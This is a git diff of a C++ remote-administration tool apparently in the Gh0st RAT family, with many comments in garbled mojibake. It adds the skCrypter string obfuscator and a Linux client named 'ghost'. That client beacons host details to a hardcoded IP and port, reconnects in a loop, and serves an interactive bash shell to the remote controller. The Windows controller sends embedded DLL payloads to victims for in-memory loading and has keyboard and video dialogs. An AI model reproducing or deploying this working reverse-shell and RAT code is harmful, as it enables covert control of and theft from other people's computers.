|
||||
|
||||
namespace skc
|
||||
{
|
||||
template<class _Ty>
|
||||
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
||||
|
||||
template <int _size, char _key1, char _key2, typename T>
|
||||
class skCrypter
|
||||
{
|
||||
public:
|
||||
__forceinline constexpr skCrypter(T* data)
|
||||
{
|
||||
crypt(data);
|
||||
}
|
||||
|
||||
__forceinline T* get()
|
||||
{
|
||||
return _storage;
|
||||
}
|
||||
|
||||
__forceinline int size() // (w)char count
|
||||
{
|
||||
return _size;
|
||||
}
|
||||
|
||||
__forceinline char key()
|
||||
{
|
||||
return _key1;
|
||||
}
|
||||
|
||||
__forceinline T* encrypt()
|
||||
{
|
||||
if (!isEncrypted())
|
||||
crypt(_storage);
|
||||
|
||||
return _storage;
|
||||
}
|
||||
|
||||
__forceinline T* decrypt()
|
||||
{
|
||||
if (isEncrypted())
|
||||
crypt(_storage);
|
||||
|
||||
return _storage;
|
||||
}
|
||||
|
||||
__forceinline bool isEncrypted()
|
||||
{
|
||||
return _storage[_size - 1] != 0;
|
||||
}
|
||||
|
||||
__forceinline void clear() // set full storage to 0
|
||||
{
|
||||
for (int i = 0; i < _size; i++)
|
||||
{
|
||||
_storage[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
__forceinline operator T* ()
|
||||
{
|
||||
decrypt();
|
||||
|
||||
return _storage;
|
||||
}
|
||||
|
||||
private:
|
||||
__forceinline constexpr void crypt(T* data)
|
||||
{
|
||||
for (int i = 0; i < _size; i++)
|
||||
{
|
||||
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
|
||||
}
|
||||
}
|
||||
|
||||
T _storage[_size]{};
|
||||
};
|
||||
}
|
||||
|
||||
#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7])
|
||||
#define skCrypt_key(str, key1, key2) []() { \
|
||||
constexpr static auto crypted = skc::skCrypter \
|
||||
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
|
||||
return crypted; }()
|
||||
|
||||
/*________________________________________________________________________________
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 skadro
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
________________________________________________________________________________*/
|
||||
BIN
compress/libavcodec_x64.lib
Normal file
BIN
compress/libavcodec_x64d.lib
Normal file
BIN
compress/libavutil_x64.lib
Normal file
BIN
compress/libavutil_x64d.lib
Normal file
BIN
compress/libswresample_x64.lib
Normal file
BIN
compress/libswresample_x64d.lib
Normal file
BIN
images/AuthDlg.jpg
Normal file
|
After Width: | Height: | Size: 7.4 KiB |
BIN
images/BuildDlg.jpg
Normal file
|
After Width: | Height: | Size: 14 KiB |
BIN
images/LinuxClient.png
Normal file
|
After Width: | Height: | Size: 42 KiB |
BIN
images/PasswordGen.jpg
Normal file
|
After Width: | Height: | Size: 63 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 51 KiB |
BIN
images/Yama.jpg
|
Before Width: | Height: | Size: 165 KiB After Width: | Height: | Size: 132 KiB |
BIN
lib/HPSocket.lib
Normal file
BIN
lib/HPSocket_D.lib
Normal file
BIN
lib/HPSocket_x64.lib
Normal file
BIN
lib/HPSocket_x64D.lib
Normal file
3
lib/ReadMe.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# Requirements
|
||||
|
||||
- HPSocket: https://github.com/ldcsaa/HP-Socket.git
|
||||
42
linux/CMakeLists.txt
Normal file
@@ -0,0 +1,42 @@
|
||||
# 编译方法:cmake . && make
|
||||
# 设置 CMake 最低版本要求
|
||||
set(CMAKE_VERBOSE_MAKEFILE ON)
|
||||
set(CMAKE_CXX_STANDARD 11)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED 11)
|
||||
|
||||
cmake_minimum_required(VERSION 3.22)
|
||||
|
||||
# 定义项目名称和版本
|
||||
project(SimpleRemoter VERSION 1.0)
|
||||
|
||||
# 设置编译器标志 - 尝试静态链接所有库
|
||||
set(CMAKE_EXE_LINKER_FLAGS "-static")
|
||||
|
||||
# 对于C++项目,确保标准库也静态链接
|
||||
if(CMAKE_CXX_COMPILER_ID STREQUAL "GNU")
|
||||
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static-libstdc++ -static-libgcc")
|
||||
endif()
|
||||
|
||||
include_directories(${CMAKE_SOURCE_DIR}/mterm)
|
||||
|
||||
# 额外的包含目录
|
||||
include_directories(../)
|
||||
include_directories(../client)
|
||||
include_directories(../compress)
|
||||
|
||||
# 添加可执行文件
|
||||
set(SOURCES
|
||||
main.cpp
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
)
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
|
||||
# 设置为可以调试
|
||||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g")
|
||||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
||||
|
||||
# 链接 ZSTD 库
|
||||
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
BIN
linux/lib/libzstd.a
Normal file
244
linux/main.cpp
Normal file
@@ -0,0 +1,244 @@
|
||||
#include "common/commands.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <string.h>
|
||||
#include <termios.h>
|
||||
#include <thread>
|
||||
#include <fcntl.h>
|
||||
#include <atomic>
|
||||
#include <pty.h>
|
||||
#include <iostream>
|
||||
#include <mutex>
|
||||
#include <stdexcept>
|
||||
#include <cstdio>
|
||||
#include <memory>
|
||||
#include <array>
|
||||
#include <regex>
|
||||
#include <fstream>
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX};
|
||||
|
||||
// 全局状态
|
||||
State g_bExit = S_CLIENT_NORMAL;
|
||||
|
||||
// 伪终端处理类:继承自IOCPManager.
|
||||
class PTYHandler : public IOCPManager {
|
||||
public:
|
||||
PTYHandler(IOCPClient *client) : m_client(client), m_running(false) {
|
||||
if (!client) {
|
||||
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||||
}
|
||||
|
||||
// 创建伪终端
|
||||
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
||||
throw std::runtime_error("Failed to create pseudo terminal");
|
||||
}
|
||||
|
||||
// 设置伪终端为非阻塞模式
|
||||
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
||||
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
// 启动 Shell 进程
|
||||
startShell();
|
||||
}
|
||||
|
||||
~PTYHandler() {
|
||||
m_running = false;
|
||||
if (m_readThread.joinable()) m_readThread.join();
|
||||
close(m_master_fd);
|
||||
close(m_slave_fd);
|
||||
}
|
||||
|
||||
// 启动读取线程
|
||||
void Start(){
|
||||
if (m_running) return;
|
||||
m_running = true;
|
||||
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
||||
}
|
||||
|
||||
virtual VOID OnReceive(PBYTE data, ULONG size) {
|
||||
if (size && data[0] == COMMAND_NEXT){
|
||||
Start();
|
||||
return;
|
||||
}
|
||||
std::string s((char*)data, size); Mprintf(s.c_str());
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
if (size > 0) {
|
||||
write(m_master_fd, (char*)data, size);
|
||||
}
|
||||
}
|
||||
private:
|
||||
int m_master_fd, m_slave_fd;
|
||||
IOCPClient *m_client;
|
||||
std::thread m_readThread;
|
||||
std::atomic<bool> m_running;
|
||||
std::mutex m_mutex;
|
||||
pid_t m_child_pid;
|
||||
|
||||
void startShell() {
|
||||
m_child_pid = fork();
|
||||
if (m_child_pid == 0) { // 子进程
|
||||
setsid(); // 创建新的会话
|
||||
dup2(m_slave_fd, STDIN_FILENO);
|
||||
dup2(m_slave_fd, STDOUT_FILENO);
|
||||
dup2(m_slave_fd, STDERR_FILENO);
|
||||
close(m_master_fd);
|
||||
close(m_slave_fd);
|
||||
|
||||
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
|
||||
const char* shell_cmd =
|
||||
"stty -echo -icanon; " // 禁用回显和规范模式
|
||||
"export TERM=dumb; " // 设置终端类型为 dumb
|
||||
"export LS_COLORS=''; " // 禁用颜色
|
||||
"export PS1='>'; " // 设置提示符
|
||||
//"clear; " // 清空终端
|
||||
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
|
||||
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void readFromPTY() {
|
||||
char buffer[4096];
|
||||
while (m_running) {
|
||||
ssize_t bytes_read = 0;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
bytes_read = read(m_master_fd, buffer, sizeof(buffer));
|
||||
}
|
||||
if (bytes_read > 0) {
|
||||
if (m_client) {
|
||||
buffer[bytes_read] = 0; Mprintf(buffer);
|
||||
m_client->Send2Server(buffer, bytes_read);
|
||||
}
|
||||
} else if (bytes_read == -1) {
|
||||
usleep(10000);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
void *ShellworkingThread(void *param){
|
||||
IOCPClient *ClientObject = new IOCPClient(g_bExit, true);
|
||||
Mprintf(">>> Enter ShellworkingThread [%p]\n", ClientObject);
|
||||
if ( !g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
PTYHandler *handler=new PTYHandler(ClientObject);
|
||||
ClientObject->setManagerCallBack(handler, IOCPManager::DataProcess);
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
ClientObject->Send2Server((char*)&bToken, 1);
|
||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit)
|
||||
Sleep(1000);
|
||||
|
||||
delete handler;
|
||||
}
|
||||
delete ClientObject;
|
||||
Mprintf(">>> Leave ShellworkingThread [%p]\n", ClientObject);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||
if (szBuffer==nullptr || ulLength ==0)
|
||||
return TRUE;
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
}else if (szBuffer[0] == COMMAND_SHELL){
|
||||
pthread_t id = 0;
|
||||
HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr);
|
||||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||
}else if (szBuffer[0]==COMMAND_NEXT){
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
}else {
|
||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 方法1: 解析 lscpu 命令(优先使用)
|
||||
double parse_lscpu() {
|
||||
std::array<char, 128> buffer;
|
||||
std::string result;
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
||||
if (!pipe) return -1.0;
|
||||
|
||||
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
||||
result += buffer.data();
|
||||
}
|
||||
|
||||
// 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz")
|
||||
std::regex model_regex("@ ([0-9.]+)GHz");
|
||||
std::smatch match;
|
||||
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
||||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 方法2: 解析 /proc/cpuinfo(备用)
|
||||
double parse_cpuinfo() {
|
||||
std::ifstream cpuinfo("/proc/cpuinfo");
|
||||
std::string line;
|
||||
std::regex freq_regex("@ ([0-9.]+)GHz");
|
||||
|
||||
while (std::getline(cpuinfo, line)) {
|
||||
if (line.find("model name") != std::string::npos) {
|
||||
std::smatch match;
|
||||
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
||||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能.
|
||||
int main() {
|
||||
char hostname[256]={};
|
||||
if (gethostname(hostname, sizeof(hostname)) == 0) {
|
||||
std::cout << "Hostname: " << hostname << std::endl;
|
||||
} else {
|
||||
std::cerr << "Failed to get hostname" << std::endl;
|
||||
}
|
||||
struct utsname systemInfo={};
|
||||
if (uname(&systemInfo) == 0) {
|
||||
std::cout << "System Name: " << systemInfo.sysname << std::endl;
|
||||
} else {
|
||||
std::cerr << "Failed to get system info" << std::endl;
|
||||
}
|
||||
|
||||
LOGIN_INFOR logInfo;
|
||||
strcpy(logInfo.szPCName, hostname);
|
||||
strcpy(logInfo.OsVerInfoEx, systemInfo.sysname);
|
||||
strcpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str());
|
||||
double freq = parse_lscpu(); // 优先使用 lscpu
|
||||
if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo
|
||||
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
||||
logInfo.bWebCamIsExist = 0;
|
||||
strcpy_s(logInfo.szReserved, "LNX");
|
||||
|
||||
IOCPClient *ClientObject = new IOCPClient(g_bExit, false);
|
||||
ClientObject->setManagerCallBack(NULL, DataProcess);
|
||||
while (!g_bExit)
|
||||
{
|
||||
clock_t c = clock();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())){
|
||||
Sleep(5000);
|
||||
}
|
||||
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock()-c));
|
||||
|
||||
do {
|
||||
Sleep(5000);
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit);
|
||||
}
|
||||
|
||||
delete ClientObject;
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -64,6 +64,8 @@ CMy2015RemoteApp::CMy2015RemoteApp()
|
||||
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
|
||||
m_Mutex = NULL;
|
||||
|
||||
m_iocpServer = new IOCPServer();
|
||||
}
|
||||
|
||||
|
||||
@@ -113,7 +115,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||
SetRegistryKey(_T("Remoter"));
|
||||
|
||||
CMy2015RemoteDlg dlg;
|
||||
CMy2015RemoteDlg dlg(m_iocpServer);
|
||||
m_pMainWnd = &dlg;
|
||||
INT_PTR nResponse = dlg.DoModal();
|
||||
if (nResponse == IDOK)
|
||||
@@ -146,6 +148,11 @@ int CMy2015RemoteApp::ExitInstance()
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
}
|
||||
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
m_iocpServer->Destroy();
|
||||
delete m_iocpServer;
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
return CWinApp::ExitInstance();
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
|
||||
#include "resource.h" // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#include "iniFile.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
// CMy2015RemoteApp:
|
||||
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
|
||||
@@ -21,6 +22,7 @@ public:
|
||||
CMy2015RemoteApp();
|
||||
iniFile m_iniFile;
|
||||
HANDLE m_Mutex;
|
||||
IOCPServer* m_iocpServer;
|
||||
// <20><>д
|
||||
public:
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
@@ -20,13 +20,19 @@
|
||||
#include "VideoDlg.h"
|
||||
#include <vector>
|
||||
#include "KeyBoardDlg.h"
|
||||
#include "InputDlg.h"
|
||||
#include "CPasswordDlg.h"
|
||||
#include "pwd_gen.h"
|
||||
#include "DateVerify.h"
|
||||
#include <fstream>
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
#define UM_ICONNOTIFY WM_USER+100
|
||||
|
||||
#define TIMER_CHECK 1
|
||||
|
||||
enum
|
||||
{
|
||||
@@ -38,7 +44,7 @@ enum
|
||||
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>
|
||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ONLINELIST_MAX,
|
||||
};
|
||||
@@ -62,7 +68,7 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
||||
{"PING", 100 },
|
||||
{"<EFBFBD>汾", 80 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>", 150 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 150 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 },
|
||||
};
|
||||
|
||||
@@ -79,7 +85,7 @@ COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
|
||||
|
||||
int g_Column_Online_Width = 0;
|
||||
int g_Column_Message_Width = 0;
|
||||
IOCPServer *m_iocpServer = NULL;
|
||||
|
||||
CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
|
||||
|
||||
static UINT Indicators[] =
|
||||
@@ -119,13 +125,16 @@ END_MESSAGE_MAP()
|
||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = iocpServer;
|
||||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||
|
||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||||
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||||
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -134,6 +143,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
||||
CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++)
|
||||
SAFE_DELETE(m_ServerDLL[i]);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -187,6 +198,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
|
||||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
|
||||
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -224,9 +238,15 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
{
|
||||
HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
|
||||
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
||||
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
if (GetPwdHash() != masterHash) {
|
||||
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||||
}
|
||||
|
||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::CreatStatusBar()
|
||||
@@ -360,7 +380,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
|
||||
Mprintf(CString("===> '") + strIP + CString("' already exist!!\n"));
|
||||
return;
|
||||
}
|
||||
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -382,6 +402,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
|
||||
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
SendMasterSettings(ContextObject);
|
||||
}
|
||||
|
||||
|
||||
@@ -405,6 +427,41 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
||||
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
Buffer* ReadKernelDll(bool is64Bit) {
|
||||
BYTE* szBuffer = NULL;
|
||||
int dwFileSize = 0;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ MY_BINARY_FILE <20><> BINARY <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
auto id = is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86;
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||||
if (hResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><>ȡ<EFBFBD><C8A1>Դ<EFBFBD>Ĵ<EFBFBD>С
|
||||
DWORD dwSize = SizeofResource(NULL, hResource);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||||
if (hLoadedResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>ȡָ<C8A1><D6B8><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
LPVOID pData = LockResource(hLoadedResource);
|
||||
if (pData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
dwFileSize = dwSize;
|
||||
szBuffer = new BYTE[sizeof(int) + dwFileSize + 2];
|
||||
szBuffer[0] = CMD_DLLDATA;
|
||||
szBuffer[1] = MEMORYDLL;
|
||||
memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
|
||||
memcpy(szBuffer + 2 + sizeof(int), pData, dwFileSize);
|
||||
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
|
||||
auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2);
|
||||
delete[] szBuffer;
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
@@ -429,6 +486,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
||||
}
|
||||
}
|
||||
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false);
|
||||
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true);
|
||||
|
||||
// <20><><EFBFBD>ô˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD>ꡣ<EFBFBD><EAA1A3>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2>ǶԻ<C7B6><D4BB><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>ܽ<EFBFBD><DCBD>Զ<EFBFBD>
|
||||
// ִ<>д˲<D0B4><CBB2><EFBFBD>
|
||||
@@ -451,8 +510,22 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
OnCancel();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5"));
|
||||
int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect");
|
||||
m_settings = { m, sizeof(void*) == 8, __DATE__, n };
|
||||
